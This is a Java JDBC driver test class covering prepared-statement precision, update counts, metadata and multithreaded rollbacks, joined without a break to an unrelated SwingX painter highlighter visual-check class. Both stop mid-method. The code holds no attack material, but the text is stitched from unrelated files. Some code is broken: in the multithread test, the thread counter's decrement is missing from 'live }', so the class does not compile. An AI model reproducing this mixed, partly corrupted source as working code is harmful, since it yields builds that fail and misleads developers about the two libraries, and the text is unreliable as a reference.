PreparedStatement pstmt = con.prepareStatement("INSERT INTO #psso4 (data) VALUES (?)"); pstmt.setObject(1, data, Types.NUMERIC, 4); assertEquals(1, pstmt.executeUpdate()); pstmt.close(); ResultSet rs = stmt.executeQuery("SELECT data FROM #psso4"); assertTrue(rs.next()); assertEquals(data.doubleValue(), rs.getDouble(1), 0); assertFalse(rs.next()); rs.close(); stmt.close(); } /** * Test for bug [938494] setObject(i, o, NUMERIC/DECIMAL) cuts off decimal places */ public void testPreparedStatementSetObject5() throws Exception { BigDecimal data = new BigDecimal(3.7D); Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #psso5 (data MONEY)"); PreparedStatement pstmt = con.prepareStatement("INSERT INTO #psso5 (data) VALUES (?)"); pstmt.setObject(1, data, Types.DECIMAL, 4); assertEquals(1, pstmt.executeUpdate()); pstmt.close(); ResultSet rs = stmt.executeQuery("SELECT data FROM #psso5"); assertTrue(rs.next()); assertEquals(data.doubleValue(), rs.getDouble(1), 0); assertFalse(rs.next()); rs.close(); stmt.close(); } /** * Test for bug [1204658] Conversion from Number to BigDecimal causes data * corruption. */ public void testPreparedStatementSetObject6() throws Exception { final Long TEST_VALUE = new Long(2265157674817400199L); Statement s = con.createStatement(); s.execute("CREATE TABLE #psso6 (test_value NUMERIC(22,0))"); PreparedStatement ps = con.prepareStatement( "insert into #psso6(test_value) values (?)"); ps.setObject(1, TEST_VALUE, Types.DECIMAL); assertEquals(1, ps.executeUpdate()); ps.close(); ResultSet rs = s.executeQuery("select test_value from #psso6"); assertTrue(rs.next()); assertEquals("Persisted value not equal to original value", TEST_VALUE.longValue(), rs.getLong(1)); assertFalse(rs.next()); rs.close(); s.close(); } /** * Test for bug [985754] row count is always 0 */ public void testUpdateCount1() throws Exception { int count = 50; Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #updateCount1 (data INT)"); PreparedStatement pstmt = con.prepareStatement("INSERT INTO #updateCount1 (data) VALUES (?)"); for (int i = 1; i <= count; i++) { pstmt.setInt(1, i); assertEquals(1, pstmt.executeUpdate()); } pstmt.close(); ResultSet rs = stmt.executeQuery("SELECT COUNT(*) FROM #updateCount1"); assertTrue(rs.next()); assertEquals(count, rs.getInt(1)); assertFalse(rs.next()); stmt.close(); rs.close(); pstmt = con.prepareStatement("DELETE FROM #updateCount1"); assertEquals(count, pstmt.executeUpdate()); pstmt.close(); } /** * Test for parameter markers in function escapes. */ public void testEscapedParams() throws Exception { PreparedStatement pstmt = con.prepareStatement("SELECT {fn left(?, 2)}"); pstmt.setString(1, "TEST"); ResultSet rs = pstmt.executeQuery(); assertTrue(rs.next()); assertEquals("TE", rs.getString(1)); assertFalse(rs.next()); rs.close(); pstmt.close(); } /** * Test for bug [ 1059916 ] whitespace needed in preparedStatement. */ public void testMissingWhitespace() throws Exception { PreparedStatement pstmt = con.prepareStatement( "SELECT name from master..syscharsets where description like?and?between csid and 10"); pstmt.setString(1, "ISO%"); pstmt.setInt(2, 0); ResultSet rs = pstmt.executeQuery(); assertNotNull(rs); assertTrue(rs.next()); } /** * Test for bug [1022968] Long SQL expression error. * NB. Test must be run with TDS=7.0 to fail. */ public void testLongStatement() throws Exception { Statement stmt = con.createStatement( ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_UPDATABLE); stmt.execute("CREATE TABLE #longStatement (id int primary key, data varchar(8000))"); StringBuffer buf = new StringBuffer(4096); buf.append("SELECT * FROM #longStatement WHERE data = '"); for (int i = 0; i < 4000; i++) { buf.append('X'); } buf.append("'"); ResultSet rs = stmt.executeQuery(buf.toString()); assertNotNull(rs); assertFalse(rs.next()); rs.close(); stmt.close(); } /** * Test for bug [1047330] prep statement with more than 2100 params fails. */ public void testManyParametersStatement() throws Exception { final int PARAMS = 2110; Statement stmt = con.createStatement(); makeTestTables(stmt); makeObjects(stmt, 10); stmt.close(); StringBuffer sb = new StringBuffer(PARAMS * 3 + 100); sb.append("SELECT * FROM #test WHERE f_int in (?"); for (int i = 1; i < PARAMS; i++) { sb.append(", ?"); } sb.append(")"); try { // This can work if prepareSql=0 PreparedStatement pstmt = con.prepareStatement(sb.toString()); // Set the parameters for (int i = 1; i <= PARAMS; i++) { pstmt.setInt(i, i); } // Execute query and count rows ResultSet rs = pstmt.executeQuery(); int cnt = 0; while (rs.next()) { ++cnt; } // Make sure this worked assertEquals(9, cnt); } catch (SQLException ex) { assertEquals("22025", ex.getSQLState()); } } /** * Test for bug [1010660] 0.9-rc1 setMaxRows causes unlimited temp stored * procedures. This test has to be run with logging enabled or while * monitoring it with SQL Profiler to see whether the temporary stored * procedure is executed or the SQL is executed directly. */ public void testMaxRows() throws SQLException { Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #maxRows (val int)" + " INSERT INTO #maxRows VALUES (1)" + " INSERT INTO #maxRows VALUES (2)"); PreparedStatement pstmt = con.prepareStatement( "SELECT * FROM #maxRows WHERE val<? ORDER BY val"); pstmt.setInt(1, 100); pstmt.setMaxRows(1); ResultSet rs = pstmt.executeQuery(); assertNotNull(rs); assertTrue(rs.next()); assertEquals(1, rs.getInt(1)); assertFalse(rs.next()); rs.close(); pstmt.close(); stmt.executeUpdate("DROP TABLE #maxRows"); stmt.close(); } /** * Test for bug [1050660] PreparedStatement.getMetaData() clears resultset. */ public void testMetaDataClearsResultSet() throws Exception { Statement stmt = con.createStatement( ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_UPDATABLE); stmt.executeUpdate( "CREATE TABLE #metaDataClearsResultSet (id int primary key, data varchar(8000))"); stmt.executeUpdate("INSERT INTO #metaDataClearsResultSet (id, data)" + " VALUES (1, '1')"); stmt.executeUpdate("INSERT INTO #metaDataClearsResultSet (id, data)" + " VALUES (2, '2')"); stmt.close(); PreparedStatement pstmt = con.prepareStatement( "SELECT * FROM #metaDataClearsResultSet ORDER BY id"); ResultSet rs = pstmt.executeQuery(); assertNotNull(rs); ResultSetMetaData rsmd = pstmt.getMetaData(); assertEquals(2, rsmd.getColumnCount()); assertEquals("id", rsmd.getColumnName(1)); assertEquals("data", rsmd.getColumnName(2)); assertEquals(8000, rsmd.getColumnDisplaySize(2)); assertTrue(rs.next()); assertEquals(1, rs.getInt(1)); assertEquals("1", rs.getString(2)); assertTrue(rs.next()); assertEquals(2, rs.getInt(1)); assertEquals("2", rs.getString(2)); assertFalse(rs.next()); rs.close(); pstmt.close(); } /** * Test for bad truncation in prepared statements on metadata retrieval * (patch [1076383] ResultSetMetaData for more complex statements for SQL * Server). */ public void testMetaData() throws Exception { Statement stmt = con.createStatement( ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_UPDATABLE); stmt.executeUpdate("CREATE TABLE #metaData (id int, data varchar(8000))"); stmt.executeUpdate("INSERT INTO #metaData (id, data)" + " VALUES (1, 'Data1')"); stmt.executeUpdate("INSERT INTO #metaData (id, data)" + " VALUES (1, 'Data2')"); stmt.executeUpdate("INSERT INTO #metaData (id, data)" + " VALUES (2, 'Data3')"); stmt.executeUpdate("INSERT INTO #metaData (id, data)" + " VALUES (2, 'Data4')"); stmt.close(); // test simple statement PreparedStatement pstmt = con.prepareStatement("SELECT id " + "FROM #metaData " + "WHERE data=? GROUP BY id"); ResultSetMetaData rsmd = pstmt.getMetaData(); assertNotNull("No meta data returned for simple statement", rsmd); assertEquals(1, rsmd.getColumnCount()); assertEquals("id", rsmd.getColumnName(1)); pstmt.close(); // test more complex statement pstmt = con.prepareStatement("SELECT id, count(*) as count " + "FROM #metaData " + "WHERE data=? GROUP BY id"); rsmd = pstmt.getMetaData(); assertNotNull("No metadata returned for complex statement", rsmd); assertEquals(2, rsmd.getColumnCount()); assertEquals("id", rsmd.getColumnName(1)); assertEquals("count", rsmd.getColumnName(2)); pstmt.close(); } /** * Test for bug [1071397] Error in prepared statement (parameters in outer * join escapes are not recognized). */ public void testOuterJoinParameters() throws SQLException { Statement stmt = con.createStatement(); stmt.executeUpdate( "CREATE TABLE #outerJoinParameters (id int primary key)"); stmt.executeUpdate( "INSERT #outerJoinParameters (id) values (1)"); stmt.close(); // Real dumb join, the idea is to see the parser works fine PreparedStatement pstmt = con.prepareStatement( "select * from " + "{oj #outerJoinParameters a left outer join #outerJoinParameters b on a.id = ?}" + "where b.id = ?"); pstmt.setInt(1, 1); pstmt.setInt(2, 1); ResultSet rs = pstmt.executeQuery(); assertTrue(rs.next()); assertEquals(1, rs.getInt(1)); assertEquals(1, rs.getInt(2)); assertFalse(rs.next()); rs.close(); pstmt.close(); pstmt = con.prepareStatement("select {fn round(?, 0)}"); pstmt.setDouble(1, 1.2); rs = pstmt.executeQuery(); assertTrue(rs.next()); assertEquals(1, rs.getDouble(1), 0); assertFalse(rs.next()); rs.close(); pstmt.close(); } /** * Inner class used by {@link PreparedStatementTest#testMultiThread} to * test concurrency. */ static class TestMultiThread extends Thread { static Connection con; static final int THREAD_MAX = 10; static final int LOOP_MAX = 10; static final int ROWS_MAX = 10; static int live; static Exception error; int threadId; TestMultiThread(int n) { threadId = n; } public void run() { try { con.rollback(); PreparedStatement pstmt = con.prepareStatement( "SELECT id, data FROM #TEST WHERE id = ?", ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); for (int i = 1; i <= LOOP_MAX; i++) { pstmt.clearParameters(); pstmt.setInt(1, i); ResultSet rs = pstmt.executeQuery(); while (rs.next()) { rs.getInt(1); rs.getString(2); } } pstmt.close(); } catch (Exception e) { System.err.print("ID=" + threadId + ' '); e.printStackTrace(); error = e; } synchronized (this.getClass()) { live } } static void startThreads(Connection con) throws Exception { TestMultiThread.con = con; con.setAutoCommit(false); Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #TEST (id int identity primary key, data varchar(255))"); for (int i = 0; i < ROWS_MAX; i++) { stmt.executeUpdate("INSERT INTO #TEST (data) VALUES('This is line " + i + "')"); } stmt.close(); con.commit(); live = THREAD_MAX; for (int i = 0; i < THREAD_MAX; i++) { new TestMultiThread(i).start(); } while (live > 0) { sleep(1); } if (error != null) { throw error; } } } /** * Test <code>Connection</code> concurrency by running * <code>PreparedStatement</code>s and rollbacks at the same time to see * whether handles are not lost in the process. */ public void testMultiThread() throws Exception { TestMultiThread.startThreads(con); } /** * Test for bug [1094621] Decimal conversion error: A prepared statement * with a decimal parameter that is -1E38 will fail as a result of the * driver generating a parameter specification of decimal(38,10) rather * than decimal(38,0). */ public void testBigDecBadParamSpec() throws Exception { Statement stmt = con.createStatement(); stmt.execute( "create table #test (id int primary key, val decimal(38,0))"); BigDecimal bd = new BigDecimal("99999999999999999999999999999999999999"); PreparedStatement pstmt = con.prepareStatement("insert into #test values(?,?)"); pstmt.setInt(1, 1); pstmt.setBigDecimal(2, bd); assertEquals(1, pstmt.executeUpdate()); // Worked OK pstmt.setInt(1, 2); pstmt.setBigDecimal(2, bd.negate()); assertEquals(1, pstmt.executeUpdate()); // Failed } public void testIllegalParameters() throws Exception { Statement stmt = con.createStatement(); stmt.execute("create table #test (id int)"); PreparedStatement pstmt = con.prepareStatement("select top ? * from #test"); pstmt.setInt(1, 10); try { pstmt.executeQuery(); // This won't fail in unprepared mode (prepareSQL == 0) // fail("Expecting an exception to be thrown."); } catch (SQLException ex) { assertTrue("37000".equals(ex.getSQLState()) || "42000".equals(ex.getSQLState())); } pstmt.close(); } /** * Test for bug [1180777] collation-related execption on update. * <p/> * If a statement prepare fails the statement should still be executed * (unprepared) and a warning should be added to the connection (the * prepare failed, this is a connection event even if it happened on * statement execute). */ public void testPrepareFailWarning() throws SQLException { try { PreparedStatement pstmt = con.prepareStatement( "CREATE VIEW prepFailWarning AS SELECT 1 AS value"); pstmt.execute(); // Check that a warning was generated on the connection. // Although not totally correct (the warning should be generated on // the statement) the warning is generated while preparing the // statement, so it belongs to the connection. assertNotNull(con.getWarnings()); pstmt.close(); Statement stmt = con.createStatement(); ResultSet rs = stmt.executeQuery("SELECT * FROM prepFailWarning"); assertTrue(rs.next()); assertEquals(1, rs.getInt(1)); assertFalse(rs.next()); rs.close(); stmt.close(); } finally { Statement stmt = con.createStatement(); stmt.execute("DROP VIEW prepFailWarning"); stmt.close(); } } /** * Test that preparedstatement logic copes with commit modes and * database changes. */ public void testPrepareModes() throws Exception { // To see in detail what is happening enable logging and study the prepare // statements that are being executed. // For example if maxStatements=0 then the log should show that each // statement is prepared and then unprepared at statement close. // If maxStatements < 4 then you will see statements being unprepared // when the cache is full. // DriverManager.setLogStream(System.out); Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #TEST (id int primary key, data varchar(255))"); // Statement prepared with auto commit = true PreparedStatement pstmt1 = con.prepareStatement("INSERT INTO #TEST (id, data) VALUES (?,?)"); pstmt1.setInt(1, 1); pstmt1.setString(2, "Line one"); assertEquals(1, pstmt1.executeUpdate()); // Move to manual commit mode con.setAutoCommit(false); // Ensure a new transaction is started ResultSet rs = stmt.executeQuery("SELECT * FROM #TEST"); assertNotNull(rs); rs.close(); // With Sybase this execution should cause a new proc to be created // as we are now in chained mode pstmt1.setInt(1, 2); pstmt1.setString(2, "Line two"); assertEquals(1, pstmt1.executeUpdate()); // Statement prepared with auto commit = false PreparedStatement pstmt2 = con.prepareStatement("SELECT * FROM #TEST WHERE id = ?"); pstmt2.setInt(1, 2); rs = pstmt2.executeQuery(); assertNotNull(rs); assertTrue(rs.next()); assertEquals("Line two", rs.getString("data")); // Change catalog String oldCat = con.getCatalog(); con.setCatalog("master"); // Executiion from another database should cause SQL Server to create // a new handle or store proc pstmt2.setInt(1, 1); rs = pstmt2.executeQuery(); assertNotNull(rs); assertTrue(rs.next()); assertEquals("Line one", rs.getString("data")); // Now change back to original database con.setCatalog(oldCat); // Roll back transaction which should cause SQL Server procs (but not // handles to be lost) causing statement to be prepared again. pstmt2.setInt(1, 1); rs = pstmt2.executeQuery(); assertNotNull(rs); assertTrue(rs.next()); assertEquals("Line one", rs.getString("data")); // Now return to auto commit mode con.setAutoCommit(true); // With Sybase statement will be prepared again as now in chained off mode pstmt2.setInt(1, 1); rs = pstmt2.executeQuery(); assertNotNull(rs); assertTrue(rs.next()); assertEquals("Line one", rs.getString("data")); pstmt2.close(); pstmt1.close(); stmt.close(); // Now we create a final prepared statement to demonstate that // the cache is flushed correctly when the number of statements // exceeds the cachesize. For example setting maxStatements=1 // will cause three statements to be unprepared when this statement // is closed pstmt1 = con.prepareStatement("SELECT id, data FROM #TEST"); pstmt1.executeQuery(); pstmt1.close(); } /** * Test that statements which cannot be prepared are remembered. */ public void testNoPrepare() throws Exception { // DriverManager.setLogStream(System.out); Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #TEST (id int primary key, data text)"); // Statement cannot be prepared on Sybase due to text field PreparedStatement pstmt1 = con.prepareStatement("INSERT INTO #TEST (id, data) VALUES (?,?)"); pstmt1.setInt(1, 1); pstmt1.setString(2, "Line one"); assertEquals(1, pstmt1.executeUpdate()); // This time should not try and prepare pstmt1.setInt(1, 2); pstmt1.setString(2, "Line two"); assertEquals(1, pstmt1.executeUpdate()); pstmt1.close(); } /** * Tests that float (single precision - 32 bit) values are not converted to * double (thus loosing precision). */ public void testFloatValues() throws Exception { Statement stmt = con.createStatement(); stmt.executeUpdate("create table #floatTest (v real)"); stmt.executeUpdate("insert into #floatTest (v) values (2.3)"); stmt.close(); PreparedStatement pstmt = con.prepareStatement( "select * from #floatTest where v = ?"); pstmt.setFloat(1, 2.3f); ResultSet rs = pstmt.executeQuery(); assertTrue(rs.next()); assertEquals(2.3f, rs.getFloat(1), 0); assertTrue(rs.getObject(1) instanceof Float); assertEquals(2.3f, ((Float) rs.getObject(1)).floatValue(), 0); // Just make sure that conversion to double will break this assertFalse(2.3 - rs.getDouble(1) == 0); assertFalse(rs.next()); rs.close(); pstmt.close(); } public void testNegativeScale() throws Exception { Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #testNegativeScale (val decimal(28,10))"); PreparedStatement pstmt = con.prepareStatement( "INSERT INTO #testNegativeScale VALUES(?)"); pstmt.setBigDecimal(1, new BigDecimal("2.9E7")); assertEquals(1, pstmt.executeUpdate()); pstmt.close(); ResultSet rs = stmt.executeQuery("SELECT * FROM #testNegativeScale"); assertNotNull(rs); assertTrue(rs.next()); assertEquals(29000000, rs.getBigDecimal(1).intValue()); stmt.close(); } /** * Test for bug [1623668] Lost apostrophes in statement parameter values(prepareSQL=0) */ public void testPrepareSQL0() throws Exception { Properties props = new Properties(); props.setProperty("prepareSQL", "0"); Connection con = getConnection(props); try { Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #prepareSQL0 (position int, data varchar(32))"); stmt.close(); PreparedStatement ps = con.prepareStatement("INSERT INTO #prepareSQL0 (position, data) VALUES (?, ?)"); String data1 = "foo'foo"; String data2 = "foo''foo";
package org.jdesktop.swingx.renderer; import java.awt.Color; import java.awt.Component; import java.awt.Polygon; import java.awt.Shape; import java.awt.event.ActionEvent; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.geom.Point2D; import java.beans.PropertyChangeEvent; import java.beans.PropertyChangeListener; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.logging.Logger; import javax.imageio.ImageIO; import javax.swing.AbstractButton; import javax.swing.Action; import javax.swing.DefaultListModel; import javax.swing.JCheckBox; import javax.swing.JLabel; import javax.swing.KeyStroke; import javax.swing.ListModel; import javax.swing.table.TableModel; import org.apache.batik.ext.awt.LinearGradientPaint; import org.jdesktop.swingx.InteractiveTestCase; import org.jdesktop.swingx.JXFrame; import org.jdesktop.swingx.JXList; import org.jdesktop.swingx.JXPanel; import org.jdesktop.swingx.JXTable; import org.jdesktop.swingx.action.AbstractActionExt; import org.jdesktop.swingx.action.ActionContainerFactory; import org.jdesktop.swingx.decorator.ComponentAdapter; import org.jdesktop.swingx.decorator.ConditionalHighlighter; import org.jdesktop.swingx.decorator.Highlighter; import org.jdesktop.swingx.decorator.AlternateRowHighlighter.UIAlternateRowHighlighter; import org.jdesktop.swingx.painter.ImagePainter; import org.jdesktop.swingx.painter.MattePainter; import org.jdesktop.swingx.painter.Painter; import org.jdesktop.swingx.painter.ShapePainter; import org.jdesktop.swingx.painter.AbstractLayoutPainter.HorizontalAlignment; import org.jdesktop.swingx.painter.AbstractLayoutPainter.VerticalAlignment; import org.jdesktop.swingx.table.ColumnControlButton; import org.jdesktop.test.AncientSwingTeam; /** * Experiments with highlighters using painters.<p> * * Links * <ul> * <li> <a href="">Sneak preview II - Transparent Highlighter</a> * </ul> * * @author Jeanette Winzenburg */ public class PainterVisualCheck extends InteractiveTestCase { @SuppressWarnings("all") private static final Logger LOG = Logger .getLogger(PainterVisualCheck.class.getName()); public static void main(String args[]) { // setSystemLF(true); PainterVisualCheck test = new PainterVisualCheck(); try { test.runInteractiveTests(); // test.runInteractiveTests(".*Label.*"); } catch (Exception e) { System.err.println("exception when executing interactive tests:"); e.printStackTrace(); } } public void interactiveTriangleRenderer() { JXTable table = new JXTable(new AncientSwingTeam()); ConditionalHighlighter highlighter = new ConditionalHighlighter() { ShapePainter painter; @Override protected Component doHighlight(Component renderer, ComponentAdapter adapter) { if (renderer instanceof PainterAware) { ((PainterAware) renderer).setPainter(getPainter()); } return renderer; } private ShapePainter getPainter() { if (painter == null) { // todo: NPE with null shape - file issue painter = new ShapePainter(); Shape polygon = new Polygon(new int[] { 0, 5, 5 }, new int[] { 0, 0, 5 }, 3); painter.setShape(polygon); painter.setFillPaint(Color.RED); painter.setStyle(ShapePainter.Style.FILLED); painter.setPaintStretched(false); // hmm.. how to make this stick to the trailing upper corner? painter.setHorizontalAlignment(HorizontalAlignment.RIGHT);//setResizeLocation(Resize.HORIZONTAL); painter.setVerticalAlignment(VerticalAlignment.TOP); } return painter; } @Override protected boolean test(ComponentAdapter adapter) { // here goes the ultimate decision - replace with context return adapter.column == adapter.modelToView(getHighlightColumnIndex()); } }; highlighter.setHighlightColumnIndex(3); table.addHighlighter(highlighter); showWithScrollingInFrame(table, "Renderer with Triangle marker"); } /** * Use GradientPainter for value-based background highlighting * Use SwingX extended default renderer. */ public void interactiveTableGradientHighlight() { TableModel model = new AncientSwingTeam(); JXTable table = new JXTable(model); LinearGradientPaint paint = new LinearGradientPaint(0.0f, 0.0f, 0f, 1f, new float[] {0,(float) 0.5}, new Color[] {Color.RED , GradientHighlighter.getTransparentColor(Color.WHITE, 0)}); final MattePainter painter = new MattePainter(paint); painter.setPaintStretched(true); ConditionalHighlighter gradientHighlighter = new ConditionalHighlighter(null, null, -1, -1) { @Override public Component highlight(Component renderer, ComponentAdapter adapter) { boolean highlight = needsHighlight(adapter); if (highlight && (renderer instanceof PainterAware)) { ((PainterAware) renderer).setPainter(painter); return renderer; } return renderer; } @Override protected boolean test(ComponentAdapter adapter) { return adapter.getValue().toString().contains("y"); } }; table.addHighlighter(gradientHighlighter); // table.setDefaultRenderer(Object.class, renderer); JXFrame frame = showWithScrollingInFrame(table, "painter-aware renderer with value-based highlighting"); getStatusBar(frame).add(new JLabel("gradient background of cells with value's containing 'y'")); } /** * Use ?? for fixed portion background highlighting * Use SwingX extended default renderer. */ public void interactiveTableBarHighlight() { TableModel model = new AncientSwingTeam(); JXTable table = new JXTable(model); Color transparentRed = GradientHighlighter.getTransparentColor(Color.RED, 0); // how to do the same, but not as gradient? // dirty trick ... mis-use a gradient... arrgghhh LinearGradientPaint blueToTranslucent = new LinearGradientPaint( new Point2D.Double(.4, 0), new Point2D.Double(1, 0), new float[] {0,.499f,.5f,1}, new Color[] {Color.BLUE, Color.BLUE, transparentRed, transparentRed}); final MattePainter p = new MattePainter(blueToTranslucent); p.setPaintStretched(true); ConditionalHighlighter gradientHighlighter = new ConditionalHighlighter(null, null, -1, -1) { @Override public Component highlight(Component renderer, ComponentAdapter adapter) { boolean highlight = needsHighlight(adapter); if (highlight && (renderer instanceof PainterAware)) { ((PainterAware) renderer).setPainter(p); return renderer; } return renderer; } @Override protected boolean test(ComponentAdapter adapter) { return adapter.getValue().toString().contains("y"); } }; table.addHighlighter(gradientHighlighter); // table.setDefaultRenderer(Object.class, renderer); JXFrame frame = showWithScrollingInFrame(table, "painter-aware renderer with value-based highlighting"); getStatusBar(frame).add(new JLabel("gradient background of cells with value's containing 'y'")); } /** * Use a custom button controller to show both checkbox icon and text to * render Actions in a JXList. Apply striping and a simple gradient highlighter. */ public void interactiveTableWithListColumnControl() { TableModel model = new AncientSwingTeam(); JXTable table = new JXTable(model); JXList list = new JXList(); Highlighter highlighter = new UIAlternateRowHighlighter(); table.addHighlighter(highlighter); list.setHighlighters(highlighter, new GradientHighlighter()); // quick-fill and hook to table columns' visibility state configureList(list, table, false); // a custom rendering button controller showing both checkbox and text ButtonProvider wrapper = new ButtonProvider() { @Override protected AbstractButton createRendererComponent() { return new JRendererCheckBox(); } @Override protected void format(CellContext context) { if (!(context.getValue() instanceof AbstractActionExt)) { super.format(context); return; } rendererComponent.setSelected(((AbstractActionExt) context.getValue()).isSelected()); rendererComponent.setText(((AbstractActionExt) context.getValue()).getName()); } }; wrapper.setHorizontalAlignment(JLabel.LEADING); list.setCellRenderer(new DefaultListRenderer(wrapper)); JXFrame frame = showWithScrollingInFrame(table, list, "checkbox list-renderer - striping and gradient"); addStatusMessage(frame, "fake editable list: space/doubleclick on selected item toggles column visibility"); frame.pack(); } /** * A Highlighter which applies a simple yellow to white-transparent * gradient to a PainterAware rendering component. The yellow can * be toggled to half-transparent. * * PENDING: How to the same but not use a gradient but a solid colered bar, * covering a relative portion of the comp? */ public static class GradientHighlighter extends Highlighter { private MattePainter painter; private boolean yellowTransparent; public GradientHighlighter() { super(Color.YELLOW, null); } /** * @param yellowTransparent */ public void setYellowTransparent(boolean yellowTransparent) { if (this.yellowTransparent == yellowTransparent) return; this.yellowTransparent = yellowTransparent; painter = null; fireStateChanged(); } @Override public Component highlight(Component renderer, ComponentAdapter adapter) { if (renderer instanceof PainterAware) { Painter painter = getPainter(0.7f); ((PainterAware) renderer).setPainter(painter); } else { renderer.setBackground(Color.YELLOW.darker()); } return renderer; } private Painter getPainter(float end) { if (painter == null) { Color startColor = getTransparentColor(Color.YELLOW, yellowTransparent ? 125 : 254); Color endColor = getTransparentColor(Color.WHITE, 0); LinearGradientPaint paint = new LinearGradientPaint(0.0f, 0.0f, 1f, 0f, new float[] {0,end}, new Color[] {startColor , endColor}); painter = new MattePainter(paint); painter.setPaintStretched(true); } return painter; } private static Color getTransparentColor(Color base, int transparency) { return new Color(base.getRed(), base.getGreen(), base.getBlue(), transparency); } } /** * Use highlighter with background image painter. Shared by table and list. */ public void interactiveIconPainterHighlight() throws Exception { TableModel model = new AncientSwingTeam(); JXTable table = new JXTable(model); ComponentProvider<JLabel> controller = new LabelProvider( JLabel.RIGHT); table.getColumn(0).setCellRenderer( new DefaultTableRenderer(controller)); final ImagePainter imagePainter = new ImagePainter(ImageIO.read(JXPanel.class .getResource("resources/images/kleopatra.jpg"))); Highlighter gradientHighlighter = new Highlighter() { @Override public Component highlight(Component renderer, ComponentAdapter adapter) { if ((adapter.column == 0) && (renderer instanceof PainterAware)) { ((PainterAware) renderer).setPainter(imagePainter); } return renderer; } }; Highlighter alternateRowHighlighter = new UIAlternateRowHighlighter(); table.addHighlighter(alternateRowHighlighter); table.addHighlighter(gradientHighlighter); // re-use component controller and highlighter in a JXList JXList list = new JXList(createListNumberModel(), true); list.setCellRenderer(new DefaultListRenderer(controller)); list.addHighlighter(alternateRowHighlighter); list.addHighlighter(gradientHighlighter); list.toggleSortOrder(); final JXFrame frame = showWithScrollingInFrame(table, list, "image highlighting plus striping"); frame.pack(); } /** * Use transparent gradient painter for value-based background highlighting * with SwingX extended default renderer. Shared by table and list with * striping. */ public void interactiveNumberProportionalGradientHighlightPlusStriping() { TableModel model = new AncientSwingTeam(); JXTable table = new JXTable(model); ComponentProvider<JLabel> controller = new LabelProvider( JLabel.RIGHT) ; // table.setDefaultRenderer(Number.class, new DefaultTableRenderer( // controller)); final ValueBasedGradientHighlighter gradientHighlighter = createTransparentGradientHighlighter(); Highlighter alternateRowHighlighter = new UIAlternateRowHighlighter(); table.addHighlighter(alternateRowHighlighter); table.addHighlighter(gradientHighlighter); // re-use component controller and highlighter in a JXList JXList list = new JXList(createListNumberModel(), true); list.setCellRenderer(new DefaultListRenderer(controller)); list.addHighlighter(alternateRowHighlighter); list.addHighlighter(gradientHighlighter); list.toggleSortOrder(); final JXFrame frame = showWithScrollingInFrame(table, list, "transparent value relative highlighting plus striping"); addStatusMessage(frame, "uses a PainterAwareLabel in renderer"); // crude binding to play with options - the factory is incomplete... getStatusBar(frame).add(createTransparencyToggle(gradientHighlighter)); frame.pack(); } /** * Use transparent gradient painter for value-based background highlighting * with SwingX extended default renderer. Shared by table and list with * background color. */ @SuppressWarnings("deprecation") public void interactiveNumberProportionalGradientHighlight() { TableModel model = new AncientSwingTeam(); JXTable table = new JXTable(model); table.setBackground(Highlighter.ledgerBackground.getBackground()); ComponentProvider<JLabel> controller = new LabelProvider( JLabel.RIGHT); // table.setDefaultRenderer(Number.class, new DefaultTableRenderer( // controller)); ValueBasedGradientHighlighter gradientHighlighter = createTransparentGradientHighlighter(); table.addHighlighter(gradientHighlighter); // re-use component controller and highlighter in a JXList JXList list = new JXList(createListNumberModel(), true); list.setBackground(table.getBackground()); list.setCellRenderer(new DefaultListRenderer(controller)); list.addHighlighter(gradientHighlighter); list.toggleSortOrder(); JXFrame frame = showWithScrollingInFrame(table, list, "transparent value relative highlighting"); addStatusMessage(frame, "uses the default painter-aware label in renderer"); // crude binding to play with options - the factory is incomplete... getStatusBar(frame).add(createTransparencyToggle(gradientHighlighter)); frame.pack(); } /** * A Highlighter which applies a value-proportional gradient to PainterAware * rendering components if the value is a Number. The gradient is a simple * yellow to white-transparent paint. The yellow can be toggled to * half-transparent.<p> * * PENDING: How to the same but not use a gradient but a solid colered bar, * covering a relative portion of the comp? */ public static class ValueBasedGradientHighlighter extends ConditionalHighlighter { float maxValue = 100; private MattePainter painter; private boolean yellowTransparent; public ValueBasedGradientHighlighter() { super(null, null, -1, -1); } /** * @param yellowTransparent */ public void setYellowTransparent(boolean yellowTransparent) { if (this.yellowTransparent == yellowTransparent) return; this.yellowTransparent = yellowTransparent; fireStateChanged(); } @Override public Component highlight(Component renderer, ComponentAdapter adapter) { boolean highlight = needsHighlight(adapter); if (highlight && (renderer instanceof PainterAware)) { float end = getEndOfGradient((Number) adapter.getValue()); if (end > 1) { renderer.setBackground(Color.YELLOW.darker()); } else if (end > 0.02) { Painter painter = getPainter(end); ((PainterAware) renderer).setPainter(painter); } return renderer; } return renderer; } private Painter getPainter(float end) { Color startColor = getTransparentColor(Color.YELLOW, yellowTransparent ? 125 : 254); Color endColor = getTransparentColor(Color.WHITE, 0); LinearGradientPaint paint = new LinearGradientPaint(0.0f, 0.0f, 1f, 0f, new float[] {0,end}, new Color[] {startColor , endColor}); painter = new MattePainter(paint); painter.setPaintStretched(true); return painter; } private Color getTransparentColor(Color base, int transparency) { return new Color(base.getRed(), base.getGreen(), base.getBlue(), transparency); } private float getEndOfGradient(Number number) { float end = number.floatValue() / maxValue; return end; } @Override protected boolean test(ComponentAdapter adapter) { return adapter.getValue() instanceof Number; } } /** * creates and returns a highlighter with a value-based transparent gradient * if the cell content type is a Number. * * @return */ private ValueBasedGradientHighlighter createTransparentGradientHighlighter() { return new ValueBasedGradientHighlighter(); } /** * Creates and returns a checkbox to toggle the gradient's yellow * transparency. * * @param gradientHighlighter * @return */ private JCheckBox createTransparencyToggle( final ValueBasedGradientHighlighter gradientHighlighter) { ActionContainerFactory factory = new ActionContainerFactory(); // toggle opaque optimatization AbstractActionExt toggleTransparent = new AbstractActionExt( "yellow transparent") { public void actionPerformed(ActionEvent e) { 